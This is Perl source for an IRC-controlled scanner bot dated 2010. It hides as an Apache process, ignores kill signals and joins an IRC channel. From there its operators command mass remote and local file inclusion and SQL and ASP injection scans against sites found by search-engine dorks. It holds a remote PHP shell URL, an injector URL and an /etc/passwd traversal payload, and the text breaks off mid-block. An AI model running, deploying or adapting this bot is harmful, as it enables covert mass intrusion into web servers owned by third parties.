#!/usr/bin/perl
print('
###################################
# Jatimcom Multi Scanner          #
# Moded By Jcommers        #
# Copyleft © 2010 Jatimcom   #
###################################
');
##################################################
## Usage:                                       ##
## perl file.pl            ##
## Notes:                                       ##
## + All Parameters are optional                ##
##                                              ##
## Features:                                    ##
## + RFI Scanner                                ##
## + SQL Scanner                         ##
## + ASP Scanner           ##
## + MD5 Crack & Encript                     ##
## + Dont Forget To Cek http://jatimcom.uni.cc/ ##
##################################################
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
#################################################
my $fakeproc  = "/usr/local/apache/bin/httpd";
my $ircserver = "irc.jatimcom.us";
my $ircport   = "7000";
my $nickname  = "MULTI[scan]";
my $ident     = "Jatimcom";
my $channel   = '#jatimcom';
my $runner    = "cimpli";
my $fullname  = ' 10( 14@ 10Jatimcom-Multi-Scanner 10) ';
#################################################
my $injector  = "http://acscc.com//forum/cache/id/idmulti?";
my $phpshell  = "http://www.sanvan.net/new/newzz.txt??";
my $rficmd    = '!rfi';
my $lficmd    = '!lfi';
my $sqlcmd    = '!sql';
my $aspcmd    = '!asp';
my $alicmd    = '!log';
my $encrypt   = '!enc';
my $decrypt   = '!dec';
my $zipcmd    = '!zip';
my $ipcmd     = '!ip';
my $hostcmd   = '!host';
$rfi_result   = "JaTimcoM";
$lfi_test     = "../../../../../../../../../../../../../../../etc/passwd";
$lfi_output   = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
$sql_test     = "'";
$sql_output = ("Query failed|Query Error|right syntax to use near");
$asp_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation|Unclosed quotation mark before the character string ''");
#################################################
$SIG{'INT'}   = 'IGNORE';
$SIG{'HUP'}   = 'IGNORE';
$SIG{'TERM'}  = 'IGNORE';
$SIG{'CHLD'}  = 'IGNORE';
$SIG{'PS'}    = 'IGNORE';
chdir("/");
$ircserver="$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0"x16;;
my $pid = fork;
exit if $pid;
die "\n [!] Something Wrong !!!: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
 if ($#_ == '1') {
 my $socket = $_[0];
 print $socket "$_[1]\n";
 } else {
  print $IRC_cur_socket "$_[0]\n";
 }
}
#################################################
sub connector {
 my $mynick = $_[0];
 my $ircserver_con = $_[1];
 my $ircport_con = $_[2];
 my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
 if (defined($IRC_socket)) {
  $IRC_cur_socket = $IRC_socket;
  $IRC_socket->autoflush(1);
  $sel_client->add($IRC_socket);
  $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  nick("$mynick");
  sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  sleep 1;
 }
}
#################################################
sub parse {
 my $servarg = shift;
 if ($servarg =~ /^PING \:(.*)/) {
  sendraw("PONG :$1");
 } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  if ($args =~ /^\001VERSION\001$/) {
   notice("$pn", "\001VERSION Jatimcom Multi Scaner\001");
  }
  if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
   my $natrix = $1;
   my $arg = $2;
  }
 }
 elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  if (lc($1) eq lc($mynick)) {
   $mynick=$4;
   $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  }
 } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  nick("$mynick|".int rand(999));
 } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  $mynick = $2;
  $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  sendraw("MODE $nickname +Bx");
  sendraw("JOIN $channel");
  sendraw("PRIVMSG $channel :JaTimCom Scanner Ready");
  sendraw("PRIVMSG $runner :Hi $runner im here !!!");
 }
}
#################################################
my $line_temp;
while( 1 ) {
 while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
 delete($irc_servers{''}) if (defined($irc_servers{''}));
 my @ready = $sel_client->can_read(0);
 next unless(@ready);
 foreach $fh (@ready) {
  $IRC_cur_socket = $fh;
  $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  $nread = sysread($fh, $msg, 4096);
  if ($nread == 0) {
   $sel_client->remove($fh);
   $fh->close;
   delete($irc_servers{$fh});
  }
  @lines = split (/\n/, $msg);
  $msg =~ s/\r\n$//;
  #####################################################################
  ############################[ CMD LIST ]#############################
  #####################################################################
  if ($msg=~ /PRIVMSG $channel :!help/){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 $rficmd <bug> <dork> | $lficmd <bug> <dork>  ");
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 $sqlcmd | $aspcmd <bug> <dork>  ");
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 $encrypt <text> | $decrypt <hash>   ");
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 Apache Log Injection : $alicmd <host> <port>  ");
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 !id | !engine | !pid | !version | !about  ");
  }
  if ($msg=~ /PRIVMSG $channel :!id/){
   &response();
  }
  if ($msg=~ /PRIVMSG $channel :!version/){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 New Jatimcom Multi ScanNer  ");
  }
  if ($msg=~ /PRIVMSG $channel :!engine/){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo. ");
  }
  if ($msg=~ /PRIVMSG $channel :!pid/){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 Process/ID :  4 $fakeproc - $$ ");
  }
  if ($msg=~ /PRIVMSG $channel :!about/){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 JATIMCOM MULTI ScanNer ");
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 Moded by Jcommers - http://jatimcom.uni.cc/ ");
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10)  0,10 Copyleft © 2010 Jatim Community ");
  }
  
##################################################################### GDataOnline.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/>$hash<\/td><td width="35%"><b>(.*)<\/b>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash."  14-> 3 ".$result);
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash."  14not found."); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open  GDataOnline.cOm "); }
}
exit;
}}
##################################################################### md5.rednoize.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://md5.rednoize.com/?s=md5&q=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash."  14-> 3 ".$result);
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash."  14not found.");
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open  Md5.RedNoize.cOm "); }
}
exit;
}}
##################################################################### c0li.m0de.0n MD5 Engine - Text 2 Hash
if ($msg=~ /PRIVMSG $channel :$encrypt\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $teks=$1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Trying to encrypt 14 ".$teks."  10... ");
my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;
my $request = HTTP::Request->new(GET=>$hashing);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) {
my ($md5,$sha1,$base64) = ($1,$2,$3);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 MD5 : 14 ".$teks."  10-> 3 ".$md5);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Sha1 : 14 ".$teks."  10-> 3 ".$sha1);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Base64 : 14 ".$teks."  10-> 3 ".$base64);
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open  c0li.m0de.0n "); }
}
exit;
}}
#####################################################################
if ($msg=~ /PRIVMSG $channel :$hostcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ipaddr = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Domain in 7 ".$ipaddr."  12Host ... ");
my $hashing = "http://www.myipneighbors.com/?search=".$ipaddr."&commit=search";
my $res     = getcontent($hashing);
while ($res =~ m/<tr style=\"background:#dedede;\"><td>(.*)<\/td><td>/g) {
 my $dns1 = $1;
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr."  4-> 3 ".$dns1);
 sleep(2);
}
while ($res =~ m/<tr style=\"background:#ffffff;\"><td>(.*)<\/td><td>/g) {
 my $dns2 = $1;
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr."  4-> 3 ".$dns2);
 sleep(2);
}
if ($res !~ m/<tr style=\"background:#.*;\"><td>.*<\/td><td>/g) {
 if ($res =~ m/<b>$ipaddr<\/b> has address <b>(.*)<\/b>/g) {
  $mydns = $1;
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr."  4-> 3 ".$mydns);
 }
 else { 
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr."  7-> 4 Bad Domain.");
 }
}
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Listing of Domain in 4 ".$ipaddr."  12is Done.");
}
exit;
}}
#####################################################################
if ($msg=~ /PRIVMSG $channel :$ipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 19)  14 Searching 7 ".$ip."  12Location ... ");
my $website = "http://www.ipligence.com/geolocation";
my ($useragent,$request,$response,%form);
undef %form;
$form{ip}  = $ip;
$useragent = LWP::UserAgent->new;
$useragent->timeout(10);
$request   = POST $website,\%form;
$response  = $useragent->request($request);
if ($response->is_success) {
    my $res = $response->content;
 if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) {
  my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 IP Address : 3 ".$ipaddress." ");
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 City       : 3 ".$city." ");
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Country    : 3 ".$country." ");
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Continent  : 3 ".$continent." ");
 }
 else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 $ip  12->  4Invalid address or IP not found. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Cannot open  www.ipligence.com "); }
}
exit;
}}
##################################################################### US ZIP Lookup www.ZIPInfo.com
if ($msg=~ /PRIVMSG $channel :$zipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $zip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14US-ZIP 14)  10 Looking up 14 ".$zip."  10ZIP Code ... ");
my $website = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";
my $request = HTTP::Request->new(GET=>$website);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) {
my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Nama Kota : 3 ".$city." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode State: 3 ".$state." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode ZIP  : 3 ".$zipcode." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Kota : 3 ".$county." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Area : 3 ".$area." ");
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 $zip  3is not a valid ZIP code. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Cannot open  www.ZIPInfo.com "); }
}
exit;
}}
  #####################################################################
  ###############################[ RFI ]###############################
  #####################################################################
  ##################################################################### Google Engine
  if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "GooGLe";
     my $bugx = $1;
     my $d0rk = $2;
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
     &rfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### AllTheWeb Engine
  if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "AllTheWeb";
     my $bugx = $1;
     my $d0rk = $2;
     &rfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Bing Engine
  if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "Bing";
     my $bugx = $1;
     my $d0rk = $2;
     &rfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Altavista Engine
  if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "ALtaViSTa";
     my $bugx = $1;
     my $d0rk = $2;
     &rfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### ASK Engine
  if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "AsK";
     my $bugx = $1;
     my $d0rk = $2;
     &rfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### UoL Engine
  if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "UoL";
     my $bugx = $1;
     my $d0rk = $2;
     &rfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### LyCos Engine
  if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "LyCos";
     my $bugx = $1;
     my $d0rk = $2;
     &rfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### GoodSearch Engine
  if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "GoodSearch";
     my $bugx = $1;
     my $d0rk = $2;
     &rfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Yahoo Engine
  if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "YahOo";
     my $bugx = $1;
     my $d0rk = $2;
     &rfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  #####################################################################
  ###############################[ LFI ]###############################
  #####################################################################
  ##################################################################### Google Engine
  if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "GooGLe";
     my $bugx = $1;
     my $d0rk = $2;
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
     &lfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### AllTheWeb Engine
  if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "AllTheWeb";
     my $bugx = $1;
     my $d0rk = $2;
     &lfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Bing Engine
  if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "Bing";
     my $bugx = $1;
     my $d0rk = $2;
     &lfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Altavista Engine
  if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "ALtaViSTa";
     my $bugx = $1;
     my $d0rk = $2;
     &lfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### ASK Engine
  if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "AsK";
     my $bugx = $1;
     my $d0rk = $2;
     &lfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### UoL Engine
  if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "UoL";
     my $bugx = $1;
     my $d0rk = $2;
     &lfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### LyCos Engine
  if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "LyCos";
     my $bugx = $1;
     my $d0rk = $2;
     &lfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### GoodSearch Engine
  if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "GoodSearch";
     my $bugx = $1;
     my $d0rk = $2;
     &lfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Yahoo Engine
  if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "YahOo";
     my $bugx = $1;
     my $d0rk = $2;
     &lfiscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  #####################################################################
  ##############################[ sql ]##############################
  #####################################################################
  ##################################################################### Google Engine
  if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "GooGLe";
     my $bugx = $1;
     my $d0rk = $2;
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
     &sqlscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### AllTheWeb Engine
  if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "AllTheWeb";
     my $bugx = $1;
     my $d0rk = $2;
     &sqlscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Bing Engine
  if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "Bing";
     my $bugx = $1;
     my $d0rk = $2;
     &sqlscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Altavista Engine
  if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "ALtaViSTa";
     my $bugx = $1;
     my $d0rk = $2;
     &sqlscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### ASK Engine
  if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "AsK";
     my $bugx = $1;
     my $d0rk = $2;
     &sqlscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### UoL Engine
  if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "UoL";
     my $bugx = $1;
     my $d0rk = $2;
     &sqlscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Lycos Engine
  if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "LyCos";
     my $bugx = $1;
     my $d0rk = $2;
     &sqlscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### GoodSearch Engine
  if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "GoodSearch";
     my $bugx = $1;
     my $d0rk = $2;
     &sqlscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Yahoo Engine
  if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "YahOo";
     my $bugx = $1;
     my $d0rk = $2;
     &sqlscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  #####################################################################
  ##############################[ asp ]##############################
  #####################################################################
  ##################################################################### Google Engine
  if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "GooGLe";
     my $bugx = $1;
     my $d0rk = $2;
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
     sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
     &aspscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### AllTheWeb Engine
  if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "AllTheWeb";
     my $bugx = $1;
     my $d0rk = $2;
     &aspscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Bing Engine
  if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "Bing";
     my $bugx = $1;
     my $d0rk = $2;
     &aspscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Altavista Engine
  if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "ALtaViSTa";
     my $bugx = $1;
     my $d0rk = $2;
     &aspscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### ASK Engine
  if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "AsK";
     my $bugx = $1;
     my $d0rk = $2;
     &aspscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### UoL Engine
  if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "UoL";
     my $bugx = $1;
     my $d0rk = $2;
     &aspscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Lycos Engine
  if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
